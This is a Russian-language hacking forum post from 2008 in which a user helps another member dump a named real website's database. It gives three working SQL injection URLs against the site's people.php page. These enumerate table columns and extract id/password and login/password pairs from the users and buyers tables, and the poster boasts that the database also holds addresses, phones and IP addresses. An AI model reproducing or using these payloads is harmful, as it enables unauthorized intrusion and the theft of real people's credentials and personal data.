Показать сообщение отдельно

  #7  
Старый 30.08.2008, 08:16
USAkid
Участник форума
Регистрация: 17.06.2008
Сообщений: 214
Провел на форуме:
964766

Репутация: 228
По умолчанию

Цитата:
Сообщение от Shadow_p1raT  
Дальше не смог докопать,пошёл спать
Мм... поможем

Просматриваем таблицу t_users лимитом
Код:
http://www.clas.ru/people.php?id=-5952+union+select+1,2,3,column_name,5,6,7,8+from+information_schema.columns+where+table_name=0x745f7573657273+limit+0,1--
Видим интересные поля: id, pass... Также адреса, телефоны, IP-адреса и т.д. Кароч хорошая БД.

Код:
http://www.clas.ru/people.php?id=-5952+union+select+1,2,3,concat_ws(id,0x3a,pass),5,6,7,8+from+t_users--
Эмм, логина не нашел. Идем в buyers.
Код:
http://www.clas.ru/people.php?id=-5952+union+select+1,2,3,concat_ws(login,0x3a,pass),5,6,7,8+from+buyers+limit+1,1--
И вот и пошли логины с пассами

Последний раз редактировалось USAkid; 30.08.2008 в 10:31..
 
Ответить с цитированием